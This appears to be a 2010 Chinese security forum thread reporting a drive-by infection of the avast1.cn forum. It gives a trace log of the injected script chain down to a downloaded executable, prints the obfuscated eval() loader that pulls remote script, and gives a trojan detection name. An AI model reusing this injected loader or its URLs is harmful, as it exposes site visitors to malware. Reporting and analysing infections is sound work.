http://avast1.cn/bbs/(Avast中文论坛)

显示全部楼层 · 发表于 2010-2-8 09:10:53

Log generated by 於陵闲云 use mdecoder 0.45
[root]http://avast1.cn/bbs/index.php
[script]http://avast1.cn/bbs/forumdata/cache/common.js?lh2
      [script]http://bbs.xcdx169.net/include/log.js?BCJNGVIV
         [iframe]http://jkwd.xywy.com/20091104/tmp/hx.html?天08
[script]http://bbs.xcdx169.net/include/log.js?BFUUVOGI
      [iframe]http://jkwd.xywy.com/20091104/tmp/hx.html?天08
         [script]http://jkwd.xywy.com/20091104/tmp/a.js
            [exe]http://jkwd.xywy.com/20091104/tmp/74.exe
         [script]http://jkwd.xywy.com/20091104/tmp/b.js
[script]http://avast1.cn/bbs/include/js/slide.js
[script]http://js.users.51.la/1698667.js

显示全部楼层 · 发表于 2010-2-8 19:51:38

显示全部楼层 · 发表于 2010-2-8 20:03:26

该死的eval。。。。

显示全部楼层 · 发表于 2010-2-8 20:18:18

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4.5(\'<0 3=2 1="6://d.7.c/b/a.8?9"></0>\')',14,14,'script|src|javascript|language|document|writeln|http|xcdx169|js|XNKNNUKW|log|include|net|bbs'.split('|'),0,{}));}

复制代码

去除最后个花括号

}

复制代码

就行了

显示全部楼层 · 发表于 2010-2-8 20:20:10

MSE：TrojanDropper:Win32/Jadtre.B

显示全部楼层 · 发表于 2010-2-8 22:39:40

现在还没清楚。。。

显示全部楼层 · 发表于 2010-2-10 14:26:30

一共6个呢

[其它] http://avast1.cn/bbs/(Avast中文论坛)